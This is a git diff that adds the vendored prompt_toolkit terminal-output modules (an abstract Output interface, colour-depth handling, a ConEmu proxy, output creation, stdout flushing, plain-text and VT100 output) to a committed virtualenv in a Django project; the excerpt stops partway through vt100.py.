b/django_lottopy/lib/python3.10/site-packages/prompt_toolkit/output/base.py new file mode 100644 index 00000000..c78677bc --- /dev/null +++ b/django_lottopy/lib/python3.10/site-packages/prompt_toolkit/output/base.py @@ -0,0 +1,329 @@ +""" +Interface for an output. +""" +from abc import ABCMeta, abstractmethod +from typing import Optional, TextIO + +from prompt_toolkit.cursor_shapes import CursorShape +from prompt_toolkit.data_structures import Size +from prompt_toolkit.styles import Attrs + +from .color_depth import ColorDepth + +__all__ = [ + "Output", + "DummyOutput", +] + + +class Output(metaclass=ABCMeta): + """ + Base class defining the output interface for a + :class:`~prompt_toolkit.renderer.Renderer`. + + Actual implementations are + :class:`~prompt_toolkit.output.vt100.Vt100_Output` and + :class:`~prompt_toolkit.output.win32.Win32Output`. + """ + + stdout: Optional[TextIO] = None + + @abstractmethod + def fileno(self) -> int: + "Return the file descriptor to which we can write for the output." + + @abstractmethod + def encoding(self) -> str: + """ + Return the encoding for this output, e.g. 'utf-8'. + (This is used mainly to know which characters are supported by the + output the data, so that the UI can provide alternatives, when + required.) + """ + + @abstractmethod + def write(self, data: str) -> None: + "Write text (Terminal escape sequences will be removed/escaped.)" + + @abstractmethod + def write_raw(self, data: str) -> None: + "Write text." + + @abstractmethod + def set_title(self, title: str) -> None: + "Set terminal title." + + @abstractmethod + def clear_title(self) -> None: + "Clear title again. (or restore previous title.)" + + @abstractmethod + def flush(self) -> None: + "Write to output stream and flush." + + @abstractmethod + def erase_screen(self) -> None: + """ + Erases the screen with the background colour and moves the cursor to + home. + """ + + @abstractmethod + def enter_alternate_screen(self) -> None: + "Go to the alternate screen buffer. (For full screen applications)." + + @abstractmethod + def quit_alternate_screen(self) -> None: + "Leave the alternate screen buffer." + + @abstractmethod + def enable_mouse_support(self) -> None: + "Enable mouse." + + @abstractmethod + def disable_mouse_support(self) -> None: + "Disable mouse." + + @abstractmethod + def erase_end_of_line(self) -> None: + """ + Erases from the current cursor position to the end of the current line. + """ + + @abstractmethod + def erase_down(self) -> None: + """ + Erases the screen from the current line down to the bottom of the + screen. + """ + + @abstractmethod + def reset_attributes(self) -> None: + "Reset color and styling attributes." + + @abstractmethod + def set_attributes(self, attrs: Attrs, color_depth: ColorDepth) -> None: + "Set new color and styling attributes." + + @abstractmethod + def disable_autowrap(self) -> None: + "Disable auto line wrapping." + + @abstractmethod + def enable_autowrap(self) -> None: + "Enable auto line wrapping." + + @abstractmethod + def cursor_goto(self, row: int = 0, column: int = 0) -> None: + "Move cursor position." + + @abstractmethod + def cursor_up(self, amount: int) -> None: + "Move cursor `amount` place up." + + @abstractmethod + def cursor_down(self, amount: int) -> None: + "Move cursor `amount` place down." + + @abstractmethod + def cursor_forward(self, amount: int) -> None: + "Move cursor `amount` place forward." + + @abstractmethod + def cursor_backward(self, amount: int) -> None: + "Move cursor `amount` place backward." + + @abstractmethod + def hide_cursor(self) -> None: + "Hide cursor." + + @abstractmethod + def show_cursor(self) -> None: + "Show cursor." + + @abstractmethod + def set_cursor_shape(self, cursor_shape: CursorShape) -> None: + "Set cursor shape to block, beam or underline." + + @abstractmethod + def reset_cursor_shape(self) -> None: + "Reset cursor shape." + + def ask_for_cpr(self) -> None: + """ + Asks for a cursor position report (CPR). + (VT100 only.) + """ + + @property + def responds_to_cpr(self) -> bool: + """ + `True` if the `Application` can expect to receive a CPR response after + calling `ask_for_cpr` (this will come back through the corresponding + `Input`). + + This is used to determine the amount of available rows we have below + the cursor position. In the first place, we have this so that the drop + down autocompletion menus are sized according to the available space. + + On Windows, we don't need this, there we have + `get_rows_below_cursor_position`. + """ + return False + + @abstractmethod + def get_size(self) -> Size: + "Return the size of the output window." + + def bell(self) -> None: + "Sound bell." + + def enable_bracketed_paste(self) -> None: + "For vt100 only." + + def disable_bracketed_paste(self) -> None: + "For vt100 only." + + def reset_cursor_key_mode(self) -> None: + """ + For vt100 only. + Put the terminal in normal cursor mode (instead of application mode). + + See: https://vt100.net/docs/vt100-ug/chapter3.html + """ + + def scroll_buffer_to_prompt(self) -> None: + "For Win32 only." + + def get_rows_below_cursor_position(self) -> int: + "For Windows only." + raise NotImplementedError + + @abstractmethod + def get_default_color_depth(self) -> ColorDepth: + """ + Get default color depth for this output. + + This value will be used if no color depth was explicitely passed to the + `Application`. + + .. note:: + + If the `$PROMPT_TOOLKIT_COLOR_DEPTH` environment variable has been + set, then `outputs.defaults.create_output` will pass this value to + the implementation as the default_color_depth, which is returned + here. (This is not used when the output corresponds to a + prompt_toolkit SSH/Telnet session.) + """ + + +class DummyOutput(Output): + """ + For testing. An output class that doesn't render anything. + """ + + def fileno(self) -> int: + "There is no sensible default for fileno()." + raise NotImplementedError + + def encoding(self) -> str: + return "utf-8" + + def write(self, data: str) -> None: + pass + + def write_raw(self, data: str) -> None: + pass + + def set_title(self, title: str) -> None: + pass + + def clear_title(self) -> None: + pass + + def flush(self) -> None: + pass + + def erase_screen(self) -> None: + pass + + def enter_alternate_screen(self) -> None: + pass + + def quit_alternate_screen(self) -> None: + pass + + def enable_mouse_support(self) -> None: + pass + + def disable_mouse_support(self) -> None: + pass + + def erase_end_of_line(self) -> None: + pass + + def erase_down(self) -> None: + pass + + def reset_attributes(self) -> None: + pass + + def set_attributes(self, attrs: Attrs, color_depth: ColorDepth) -> None: + pass + + def disable_autowrap(self) -> None: + pass + + def enable_autowrap(self) -> None: + pass + + def cursor_goto(self, row: int = 0, column: int = 0) -> None: + pass + + def cursor_up(self, amount: int) -> None: + pass + + def cursor_down(self, amount: int) -> None: + pass + + def cursor_forward(self, amount: int) -> None: + pass + + def cursor_backward(self, amount: int) -> None: + pass + + def hide_cursor(self) -> None: + pass + + def show_cursor(self) -> None: + pass + + def set_cursor_shape(self, cursor_shape: CursorShape) -> None: + pass + + def reset_cursor_shape(self) -> None: + pass + + def ask_for_cpr(self) -> None: + pass + + def bell(self) -> None: + pass + + def enable_bracketed_paste(self) -> None: + pass + + def disable_bracketed_paste(self) -> None: + pass + + def scroll_buffer_to_prompt(self) -> None: + pass + + def get_size(self) -> Size: + return Size(rows=40, columns=80) + + def get_rows_below_cursor_position(self) -> int: + return 40 + + def get_default_color_depth(self) -> ColorDepth: + return ColorDepth.DEPTH_1_BIT diff --git a/django_lottopy/lib/python3.10/site-packages/prompt_toolkit/output/color_depth.py b/django_lottopy/lib/python3.10/site-packages/prompt_toolkit/output/color_depth.py new file mode 100644 index 00000000..a6166bac --- /dev/null +++ b/django_lottopy/lib/python3.10/site-packages/prompt_toolkit/output/color_depth.py @@ -0,0 +1,58 @@ +import os +from enum import Enum +from typing import Optional + +__all__ = [ + "ColorDepth", +] + + +class ColorDepth(str, Enum): + """ + Possible color depth values for the output. + """ + + value: str + + #: One color only. + DEPTH_1_BIT = "DEPTH_1_BIT" + + #: ANSI Colors. + DEPTH_4_BIT = "DEPTH_4_BIT" + + #: The default. + DEPTH_8_BIT = "DEPTH_8_BIT" + + #: 24 bit True color. + DEPTH_24_BIT = "DEPTH_24_BIT" + + # Aliases. + MONOCHROME = DEPTH_1_BIT + ANSI_COLORS_ONLY = DEPTH_4_BIT + DEFAULT = DEPTH_8_BIT + TRUE_COLOR = DEPTH_24_BIT + + @classmethod + def from_env(cls) -> Optional["ColorDepth"]: + """ + Return the color depth if the $PROMPT_TOOLKIT_COLOR_DEPTH environment + variable has been set. + + This is a way to enforce a certain color depth in all prompt_toolkit + applications. + """ + # Check the `PROMPT_TOOLKIT_COLOR_DEPTH` environment variable. + all_values = [i.value for i in ColorDepth] + if os.environ.get("PROMPT_TOOLKIT_COLOR_DEPTH") in all_values: + return cls(os.environ["PROMPT_TOOLKIT_COLOR_DEPTH"]) + + return None + + @classmethod + def default(cls) -> "ColorDepth": + """ + Return the default color depth for the default output. + """ + from .defaults import create_output + + return create_output().get_default_color_depth() diff --git a/django_lottopy/lib/python3.10/site-packages/prompt_toolkit/output/conemu.py b/django_lottopy/lib/python3.10/site-packages/prompt_toolkit/output/conemu.py new file mode 100644 index 00000000..fc46cc4a --- /dev/null +++ b/django_lottopy/lib/python3.10/site-packages/prompt_toolkit/output/conemu.py @@ -0,0 +1,63 @@ +import sys + +assert sys.platform == "win32" + +from typing import Any, Optional, TextIO + +from prompt_toolkit.data_structures import Size + +from .base import Output +from .color_depth import ColorDepth +from .vt100 import Vt100_Output +from .win32 import Win32Output + +__all__ = [ + "ConEmuOutput", +] + + +class ConEmuOutput: + """ + ConEmu (Windows) output abstraction. + + ConEmu is a Windows console application, but it also supports ANSI escape + sequences. This output class is actually a proxy to both `Win32Output` and + `Vt100_Output`. It uses `Win32Output` for console sizing and scrolling, but + all cursor movements and scrolling happens through the `Vt100_Output`. + + This way, we can have 256 colors in ConEmu and Cmder. Rendering will be + even a little faster as well. + + http://conemu.github.io/ + http://gooseberrycreative.com/cmder/ + """ + + def __init__( + self, stdout: TextIO, default_color_depth: Optional[ColorDepth] = None + ) -> None: + self.win32_output = Win32Output(stdout, default_color_depth=default_color_depth) + self.vt100_output = Vt100_Output( + stdout, lambda: Size(0, 0), default_color_depth=default_color_depth + ) + + @property + def responds_to_cpr(self) -> bool: + return False # We don't need this on Windows. + + def __getattr__(self, name: str) -> Any: + if name in ( + "get_size", + "get_rows_below_cursor_position", + "enable_mouse_support", + "disable_mouse_support", + "scroll_buffer_to_prompt", + "get_win32_screen_buffer_info", + "enable_bracketed_paste", + "disable_bracketed_paste", + ): + return getattr(self.win32_output, name) + else: + return getattr(self.vt100_output, name) + + +Output.register(ConEmuOutput) diff --git a/django_lottopy/lib/python3.10/site-packages/prompt_toolkit/output/defaults.py b/django_lottopy/lib/python3.10/site-packages/prompt_toolkit/output/defaults.py new file mode 100644 index 00000000..7fb0f893 --- /dev/null +++ b/django_lottopy/lib/python3.10/site-packages/prompt_toolkit/output/defaults.py @@ -0,0 +1,100 @@ +import sys +from typing import Optional, TextIO, cast + +from prompt_toolkit.utils import ( + get_bell_environment_variable, + get_term_environment_variable, + is_conemu_ansi, +) + +from .base import DummyOutput, Output +from .color_depth import ColorDepth +from .plain_text import PlainTextOutput + +__all__ = [ + "create_output", +] + + +def create_output( + stdout: Optional[TextIO] = None, always_prefer_tty: bool = False +) -> Output: + """ + Return an :class:`~prompt_toolkit.output.Output` instance for the command + line. + + :param stdout: The stdout object + :param always_prefer_tty: When set, look for `sys.stderr` if `sys.stdout` + is not a TTY. Useful if `sys.stdout` is redirected to a file, but we + still want user input and output on the terminal. + + By default, this is `False`. If `sys.stdout` is not a terminal (maybe + it's redirected to a file), then a `PlainTextOutput` will be returned. + That way, tools like `print_formatted_text` will write plain text into + that file. + """ + # Consider TERM, PROMPT_TOOLKIT_BELL, and PROMPT_TOOLKIT_COLOR_DEPTH + # environment variables. Notice that PROMPT_TOOLKIT_COLOR_DEPTH value is + # the default that's used if the Application doesn't override it. + term_from_env = get_term_environment_variable() + bell_from_env = get_bell_environment_variable() + color_depth_from_env = ColorDepth.from_env() + + if stdout is None: + # By default, render to stdout. If the output is piped somewhere else, + # render to stderr. + stdout = sys.stdout + + if always_prefer_tty: + for io in [sys.stdout, sys.stderr]: + if io is not None and io.isatty(): + # (This is `None` when using `pythonw.exe` on Windows.) + stdout = io + break + + # If the output is still `None`, use a DummyOutput. + # This happens for instance on Windows, when running the application under + # `pythonw.exe`. In that case, there won't be a terminal Window, and + # stdin/stdout/stderr are `None`. + if stdout is None: + return DummyOutput() + + # If the patch_stdout context manager has been used, then sys.stdout is + # replaced by this proxy. For prompt_toolkit applications, we want to use + # the real stdout. + from prompt_toolkit.patch_stdout import StdoutProxy + + while isinstance(stdout, StdoutProxy): + stdout = stdout.original_stdout + + if sys.platform == "win32": + from .conemu import ConEmuOutput + from .win32 import Win32Output + from .windows10 import Windows10_Output, is_win_vt100_enabled + + if is_win_vt100_enabled(): + return cast( + Output, + Windows10_Output(stdout, default_color_depth=color_depth_from_env), + ) + if is_conemu_ansi(): + return cast( + Output, ConEmuOutput(stdout, default_color_depth=color_depth_from_env) + ) + else: + return Win32Output(stdout, default_color_depth=color_depth_from_env) + else: + from .vt100 import Vt100_Output + + # Stdout is not a TTY? Render as plain text. + # This is mostly useful if stdout is redirected to a file, and + # `print_formatted_text` is used. + if not stdout.isatty(): + return PlainTextOutput(stdout) + + return Vt100_Output.from_pty( + stdout, + term=term_from_env, + default_color_depth=color_depth_from_env, + enable_bell=bell_from_env, + ) diff --git a/django_lottopy/lib/python3.10/site-packages/prompt_toolkit/output/flush_stdout.py b/django_lottopy/lib/python3.10/site-packages/prompt_toolkit/output/flush_stdout.py new file mode 100644 index 00000000..05a34231 --- /dev/null +++ b/django_lottopy/lib/python3.10/site-packages/prompt_toolkit/output/flush_stdout.py @@ -0,0 +1,84 @@ +import errno +import os +import sys +from contextlib import contextmanager +from typing import IO, Iterator, TextIO, cast + +__all__ = ["flush_stdout"] + + +def flush_stdout(stdout: TextIO, data: str, write_binary: bool) -> None: + try: + # Ensure that `stdout` is made blocking when writing into it. + # Otherwise, when uvloop is activated (which makes stdout + # non-blocking), and we write big amounts of text, then we get a + # `BlockingIOError` here. + with _blocking_io(stdout): + # (We try to encode ourself, because that way we can replace + # characters that don't exist in the character set, avoiding + # UnicodeEncodeError crashes. E.g. u'\xb7' does not appear in 'ascii'.) + # My Arch Linux installation of july 2015 reported 'ANSI_X3.4-1968' + # for sys.stdout.encoding in xterm. + out: IO[bytes] + if write_binary: + if hasattr(stdout, "buffer"): + out = stdout.buffer + else: + # IO[bytes] was given to begin with. + # (Used in the unit tests, for instance.) + out = cast(IO[bytes], stdout) + out.write(data.encode(stdout.encoding or "utf-8", "replace")) + else: + stdout.write(data) + + stdout.flush() + except OSError as e: + if e.args and e.args[0] == errno.EINTR: + # Interrupted system call. Can happen in case of a window + # resize signal. (Just ignore. The resize handler will render + # again anyway.) + pass + elif e.args and e.args[0] == 0: + # This can happen when there is a lot of output and the user + # sends a KeyboardInterrupt by pressing Control-C. E.g. in + # a Python REPL when we execute "while True: print('test')". + # (The `ptpython` REPL uses this `Output` class instead of + # `stdout` directly -- in order to be network transparent.) + # So, just ignore. + pass + else: + raise + + +@contextmanager +def _blocking_io(io: IO[str]) -> Iterator[None]: + """ + Ensure that the FD for `io` is set to blocking in here. + """ + if sys.platform == "win32": + # On Windows, the `os` module doesn't have a `get/set_blocking` + # function. + yield + return + + try: + fd = io.fileno() + blocking = os.get_blocking(fd) + except: # noqa + # Failed somewhere. + # `get_blocking` can raise `OSError`. + # The io object can raise `AttributeError` when no `fileno()` method is + # present if we're not a real file object. + blocking = True # Assume we're good, and don't do anything. + + try: + # Make blocking if we weren't blocking yet. + if not blocking: + os.set_blocking(fd, True) + + yield + + finally: + # Restore original blocking mode. + if not blocking: + os.set_blocking(fd, blocking) diff --git a/django_lottopy/lib/python3.10/site-packages/prompt_toolkit/output/plain_text.py b/django_lottopy/lib/python3.10/site-packages/prompt_toolkit/output/plain_text.py new file mode 100644 index 00000000..23c1e945 --- /dev/null +++ b/django_lottopy/lib/python3.10/site-packages/prompt_toolkit/output/plain_text.py @@ -0,0 +1,145 @@ +from typing import List, TextIO + +from prompt_toolkit.cursor_shapes import CursorShape +from prompt_toolkit.data_structures import Size +from prompt_toolkit.styles import Attrs + +from .base import Output +from .color_depth import ColorDepth +from .flush_stdout import flush_stdout + +__all__ = ["PlainTextOutput"] + + +class PlainTextOutput(Output): + """ + Output that won't include any ANSI escape sequences. + + Useful when stdout is not a terminal. Maybe stdout is redirected to a file. + In this case, if `print_formatted_text` is used, for instance, we don't + want to include formatting. + + (The code is mostly identical to `Vt100_Output`, but without the + formatting.) + """ + + def __init__(self, stdout: TextIO, write_binary: bool = True) -> None: + assert all(hasattr(stdout, a) for a in ("write", "flush")) + + if write_binary: + assert hasattr(stdout, "encoding") + + self.stdout: TextIO = stdout + self.write_binary = write_binary + self._buffer: List[str] = [] + + def fileno(self) -> int: + "There is no sensible default for fileno()." + return self.stdout.fileno() + + def encoding(self) -> str: + return "utf-8" + + def write(self, data: str) -> None: + self._buffer.append(data) + + def write_raw(self, data: str) -> None: + self._buffer.append(data) + + def set_title(self, title: str) -> None: + pass + + def clear_title(self) -> None: + pass + + def flush(self) -> None: + if not self._buffer: + return + + data = "".join(self._buffer) + self._buffer = [] + flush_stdout(self.stdout, data, write_binary=self.write_binary) + + def erase_screen(self) -> None: + pass + + def enter_alternate_screen(self) -> None: + pass + + def quit_alternate_screen(self) -> None: + pass + + def enable_mouse_support(self) -> None: + pass + + def disable_mouse_support(self) -> None: + pass + + def erase_end_of_line(self) -> None: + pass + + def erase_down(self) -> None: + pass + + def reset_attributes(self) -> None: + pass + + def set_attributes(self, attrs: Attrs, color_depth: ColorDepth) -> None: + pass + + def disable_autowrap(self) -> None: + pass + + def enable_autowrap(self) -> None: + pass + + def cursor_goto(self, row: int = 0, column: int = 0) -> None: + pass + + def cursor_up(self, amount: int) -> None: + pass + + def cursor_down(self, amount: int) -> None: + self._buffer.append("\n") + + def cursor_forward(self, amount: int) -> None: + self._buffer.append(" " * amount) + + def cursor_backward(self, amount: int) -> None: + pass + + def hide_cursor(self) -> None: + pass + + def show_cursor(self) -> None: + pass + + def set_cursor_shape(self, cursor_shape: CursorShape) -> None: + pass + + def reset_cursor_shape(self) -> None: + pass + + def ask_for_cpr(self) -> None: + pass + + def bell(self) -> None: + pass + + def enable_bracketed_paste(self) -> None: + pass + + def disable_bracketed_paste(self) -> None: + pass + + def scroll_buffer_to_prompt(self) -> None: + pass + + def get_size(self) -> Size: + return Size(rows=40, columns=80) + + def get_rows_below_cursor_position(self) -> int: + return 8 + + def get_default_color_depth(self) -> ColorDepth: + return ColorDepth.DEPTH_1_BIT diff --git a/django_lottopy/lib/python3.10/site-packages/prompt_toolkit/output/vt100.py b/django_lottopy/lib/python3.10/site-packages/prompt_toolkit/output/vt100.py new file mode 100644 index 00000000..05862672 --- /dev/null +++ b/django_lottopy/lib/python3.10/site-packages/prompt_toolkit/output/vt100.py @@ -0,0 +1,753 @@ +""" +Output for vt100 terminals. + +A lot of thanks, regarding outputting of colors, goes to the Pygments project: +(We don't rely on Pygments anymore, because many things are very custom, and +everything has been highly optimized.) +http://pygments.org/ +""" +import io +import os +import sys +from typing import ( + Callable, + Dict, + Hashable, + Iterable, + List, + Optional, + Sequence, + Set, + TextIO, + Tuple, +) + +from prompt_toolkit.cursor_shapes import CursorShape +from prompt_toolkit.data_structures import Size +from prompt_toolkit.output import Output +from prompt_toolkit.styles import ANSI_COLOR_NAMES, Attrs +from prompt_toolkit.utils import is_dumb_terminal + +from .color_depth import ColorDepth +from .flush_stdout import flush_stdout + +__all__ = [ + "Vt100_Output", +] + + +FG_ANSI_COLORS = { + "ansidefault": 39, + # Low intensity. + "ansiblack": 30, + "ansired": 31, + "ansigreen": 32, + "ansiyellow": 33, + "ansiblue": 34, + "ansimagenta": 35, + "ansicyan": 36, + "ansigray": 37, + # High intensity. + "ansibrightblack": 90, + "ansibrightred": 91, + "ansibrightgreen": 92, + "ansibrightyellow": 93, + "ansibrightblue": 94, + "ansibrightmagenta": 95, + "ansibrightcyan": 96, + "ansiwhite": 97, +} + +BG_ANSI_COLORS = { + "ansidefault": 49, + # Low intensity. + "ansiblack": 40, + "ansired": 41, + "ansigreen": 42, + "ansiyellow": 43, + "ansiblue": 44, + "ansimagenta": 45, + "ansicyan": 46, + "ansigray": 47, + # High intensity. + "ansibrightblack": 100, + "ansibrightred": 101, + "ansibrightgreen": 102, + "ansibrightyellow": 103, + "ansibrightblue": 104, + "ansibrightmagenta": 105, + "ansibrightcyan": 106, + "ansiwhite": 107, +} + + +ANSI_COLORS_TO_RGB = { + "ansidefault": ( + 0x00, + 0x00, + 0x00, + ), # Don't use, 'default' doesn't really have a value. + "ansiblack": (0x00, 0x00, 0x00), + "ansigray": (0xE5, 0xE5, 0xE5), + "ansibrightblack": (0x7F, 0x7F, 0x7F), + "ansiwhite": (0xFF, 0xFF, 0xFF), + # Low intensity. + "ansired": (0xCD, 0x00, 0x00), + "ansigreen": (0x00, 0xCD, 0x00), + "ansiyellow": (0xCD, 0xCD, 0x00), + "ansiblue": (0x00, 0x00, 0xCD), + "ansimagenta": (0xCD, 0x00, 0xCD), + "ansicyan": (0x00, 0xCD, 0xCD), + # High intensity. + "ansibrightred": (0xFF, 0x00, 0x00), + "ansibrightgreen": (0x00, 0xFF, 0x00), + "ansibrightyellow": (0xFF, 0xFF, 0x00), + "ansibrightblue": (0x00, 0x00, 0xFF), + "ansibrightmagenta": (0xFF, 0x00, 0xFF), + "ansibrightcyan": (0x00, 0xFF, 0xFF), +} + + +assert set(FG_ANSI_COLORS) == set(ANSI_COLOR_NAMES) +assert set(BG_ANSI_COLORS) == set(ANSI_COLOR_NAMES) +assert set(ANSI_COLORS_TO_RGB) == set(ANSI_COLOR_NAMES) + + +def _get_closest_ansi_color(r: int, g: int, b: int, exclude: Sequence[str] = ()) -> str: + """ + Find closest ANSI color. Return it by name. + + :param r: Red (Between 0 and 255.) + :param g: Green (Between 0 and 255.) + :param b: Blue (Between 0 and 255.) + :param exclude: A tuple of color names to exclude. (E.g. ``('ansired', )``.) + """ + exclude = list(exclude) + + # When we have a bit of saturation, avoid the gray-like colors, otherwise, + # too often the distance to the gray color is less. + saturation = abs(r - g) + abs(g - b) + abs(b - r) # Between 0..510 + + if saturation > 30: + exclude.extend(["ansilightgray", "ansidarkgray", "ansiwhite", "ansiblack"]) + + # Take the closest color. + # (Thanks to Pygments for this part.) + distance = 257 * 257 * 3 # "infinity" (>distance from #000000 to #ffffff) + match = "ansidefault" + + for name, (r2, g2, b2) in ANSI_COLORS_TO_RGB.items(): + if name != "ansidefault" and name not in exclude: + d = (r - r2) ** 2 + (g - g2) ** 2 + (b - b2) ** 2 + + if d < distance: + match = name + distance = d + + return match + + +_ColorCodeAndName = Tuple[int, str] + + +class _16ColorCache: + """ + Cache which maps (r, g, b) tuples to 16 ansi colors. + + :param bg: Cache for background colors, instead of foreground. + """ + + def __init__(self, bg: bool = False) -> None: + self.bg = bg + self._cache: Dict[Hashable, _ColorCodeAndName] = {} + + def get_code( + self, value: Tuple[int, int, int], exclude: Sequence[str] = () + ) -> _ColorCodeAndName: + """ + Return a (ansi_code, ansi_name) tuple. (E.g. ``(44, 'ansiblue')``.) for + a given (r,g,b) value. + """ + key: Hashable = (value, tuple(exclude)) + cache = self._cache + + if key not in cache: + cache[key] = self._get(value, exclude) + + return cache[key] + + def _get( + self, value: Tuple[int, int, int], exclude: Sequence[str] = () + ) -> _ColorCodeAndName: + + r, g, b = value + match = _get_closest_ansi_color(r, g, b, exclude=exclude) + + # Turn color name into code. + if self.bg: + code = BG_ANSI_COLORS[match] + else: + code = FG_ANSI_COLORS[match] + + return code, match + + +class _256ColorCache(Dict[Tuple[int, int, int], int]): + """ + Cache which maps (r, g, b) tuples to 256 colors. + """ + + def __init__(self) -> None: + # Build color table. + colors: List[Tuple[int, int, int]] = [] + + # colors 0..15: 16 basic colors + colors.append((0x00, 0x00, 0x00)) # 0 + colors.append((0xCD, 0x00, 0x00)) # 1 + colors.append((0x00, 0xCD, 0x00)) # 2 + colors.append((0xCD, 0xCD, 0x00)) # 3 + colors.append((0x00, 0x00, 0xEE)) # 4 + colors.append((0xCD, 0x00, 0xCD)) # 5 + colors.append((0x00, 0xCD, 0xCD)) # 6 + colors.append((0xE5, 0xE5, 0xE5)) # 7 + colors.append((0x7F, 0x7F, 0x7F)) # 8 + colors.append((0xFF, 0x00, 0x00)) # 9 + colors.append((0x00, 0xFF, 0x00)) # 10 + colors.append((0xFF, 0xFF, 0x00)) # 11 + colors.append((0x5C, 0x5C, 0xFF)) # 12 + colors.append((0xFF, 0x00, 0xFF)) # 13 + colors.append((0x00, 0xFF, 0xFF)) # 14 + colors.append((0xFF, 0xFF, 0xFF)) # 15 + + # colors 16..232: the 6x6x6 color cube + valuerange = (0x00, 0x5F, 0x87, 0xAF, 0xD7, 0xFF) + + for i in range(217): + r = valuerange[(i // 36) % 6] + g = valuerange[(i // 6) % 6] + b = valuerange[i % 6] + colors.append((r, g, b)) + + # colors 233..253: grayscale + for i in range(1, 22): + v = 8 + i * 10 + colors.append((v, v, v)) + + self.colors = colors + + def __missing__(self, value: Tuple[int, int, int]) -> int: + r, g, b = value + + # Find closest color. + # (Thanks to Pygments for this!) + distance = 257 * 257 * 3 # "infinity" (>distance from #000000 to #ffffff) + match = 0 + + for i, (r2, g2, b2) in enumerate(self.colors): + if i >= 16: # XXX: We ignore the 16 ANSI colors when mapping RGB + # to the 256 colors, because these highly depend on + # the color scheme of the terminal. + d = (r - r2) ** 2 + (g - g2) ** 2 + (b - b2) ** 2 + + if d < distance: + match = i + distance = d + + # Turn color name into code. + self[value] = match + return match + + +_16_fg_colors = _16ColorCache(bg=False) +_16_bg_colors = _16ColorCache(bg=True) +_256_colors = _256ColorCache() + + +class _EscapeCodeCache(Dict[Attrs, str]): + """ + Cache for VT100 escape codes. It maps + (fgcolor, bgcolor, bold, underline, strike, reverse) tuples to VT100 + escape sequences. + + :param true_color: When True, use 24bit colors instead of 256 colors. + """ + + def __init__(self, color_depth: ColorDepth) -> None: + self.color_depth = color_depth + + def __missing__(self, attrs: Attrs) -> str: + ( + fgcolor, + bgcolor, + bold, + underline, + strike, + italic, + blink, + reverse, + hidden, + ) = attrs + parts: List[str] = [] + + parts.extend(self._colors_to_code(fgcolor or "", bgcolor or "")) + + if bold: + parts.append("1") + if italic: + parts.append("3") + if blink: + parts.append("5") + if underline: + parts.append("4") + if reverse: + parts.append("7") + if hidden: + parts.append("8") + if strike: + parts.append("9") + + if parts: + result = "\x1b[0;" + ";".join(parts) + "m" + else: + result = "\x1b[0m" + + self[attrs] = result + return result + + def _color_name_to_rgb(self, color: str) -> Tuple[int, int, int]: + "Turn 'ffffff', into (0xff, 0xff, 0xff)." + try: + rgb = int(color, 16) + except ValueError: + raise + else: + r = (rgb >> 16) & 0xFF + g = (rgb >> 8) & 0xFF + b = rgb & 0xFF + return r, g, b + + def _colors_to_code(self, fg_color: str, bg_color: str) -> Iterable[str]: + """ + Return a tuple with the vt100 values that represent this color. + """ + # When requesting ANSI colors only, and both fg/bg color were converted + # to ANSI, ensure that the foreground and background color are not the + # same. (Unless they were explicitly defined to be the same color.) + fg_ansi = "" + + def get(color: str, bg: bool) -> List[int]: + nonlocal fg_ansi + + table = BG_ANSI_COLORS if bg else FG_ANSI_COLORS + + if not color or self.color_depth == ColorDepth.DEPTH_1_BIT: + return [] + + # 16 ANSI colors. (Given by name.) + elif color in table: + return [table[color]] + + # RGB colors. (Defined as 'ffffff'.) + else: + try: + rgb = self._color_name_to_rgb(color) + except ValueError: + return [] + + # When only 16 colors are supported, use that. + if self.color_depth == ColorDepth.DEPTH_4_BIT: + if bg: # Background. + if fg_color != bg_color: + exclude = [fg_ansi] + else: + exclude = [] + code, name = _16_bg_colors.get_code(rgb, exclude=exclude) + return [code] + else: # Foreground. + code, name = _16_fg_colors.get_code(rgb) + fg_ansi = name + return [code] + + # True colors. (Only when this feature is enabled.) + elif self.color_depth == ColorDepth.DEPTH_24_BIT: + r, g, b = rgb + return [(48 if bg else 38), 2, r, g, b] + + # 256 RGB colors. + else: + return [(48 if bg else 38), 5, _256_colors[rgb]] + + result: List[int] = [] + result.extend(get(fg_color, False)) + result.extend(get(bg_color, True)) + + return map(str, result) + + +def _get_size(fileno: int) -> Tuple[int, int]: + """ + Get the size of this pseudo terminal. + + :param fileno: stdout.fileno() + :returns: A (rows, cols) tuple. + """ + size = os.get_terminal_size(fileno) + return size.lines, size.columns + + +class Vt100_Output(Output): + """ + :param get_size: A callable which returns the `Size` of the output terminal. + :param stdout: Any object with has a `write` and `flush` method + an 'encoding' property. + :param term: The terminal environment variable. (xterm, xterm-256color, linux, ...) + :param write_binary: Encode the output before writing it. If `True` (the + default), the `stdout` object is supposed to expose an `encoding` attribute. + """ + + # For the error messages. Only display "Output is not a terminal" once per + # file descriptor. + _fds_not_a_terminal: Set[int] = set() + + def __init__( + self, + stdout: TextIO, + get_size: Callable[[], Size], + term: Optional[str] = None, + write_binary: bool = True, + default_color_depth: Optional[ColorDepth] = None, + enable_bell: bool = True, + ) -> None: + + assert all(hasattr(stdout, a) for a in ("write", "flush")) + + if write_binary: + assert hasattr(stdout, "encoding") + + self._buffer: List[str] = [] + self.stdout: TextIO = stdout + self.write_binary = write_binary + self.default_color_depth = default_color_depth + self._get_size = get_size + self.term = term + self.enable_bell = enable_bell + + # Cache for escape codes. + self._escape_code_caches: Dict[ColorDepth, _EscapeCodeCache] = { + ColorDepth.DEPTH_1_BIT: _EscapeCodeCache(ColorDepth.DEPTH_1_BIT), + ColorDepth.DEPTH_4_BIT: _EscapeCodeCache(ColorDepth.DEPTH_4_BIT), + ColorDepth.DEPTH_8_BIT: _EscapeCodeCache(ColorDepth.DEPTH_8_BIT), + ColorDepth.DEPTH_24_BIT: _EscapeCodeCache(ColorDepth.DEPTH_24_BIT), + } + + # Keep track of whether the cursor shape was ever changed. + # (We don't restore the cursor shape if it was never changed - by + # default, we don't change them.) + self._cursor_shape_changed = False + + @classmethod + def from_pty( + cls, + stdout: TextIO, + term: Optional[str] = None, + default_color_depth: Optional[ColorDepth] = None, + enable_bell: bool = True, + ) -> "Vt100_Output": + """ + Create an Output class from a pseudo terminal. + (This will take the dimensions by reading the pseudo + terminal attributes.) + """ + fd: Optional[int] + # Normally, this requires a real TTY device, but people instantiate + # this class often during unit tests as well. For convenience, we print + # an error message, use standard dimensions, and go on. + try: + fd = stdout.fileno() + except io.UnsupportedOperation: + fd = None + + if not stdout.isatty() and (fd is None or fd not in cls._fds_not_a_terminal): + msg = "Warning: Output is not a terminal (fd=%r).\n" + sys.stderr.write(msg % fd) + sys.stderr.flush() + if fd is not None: + 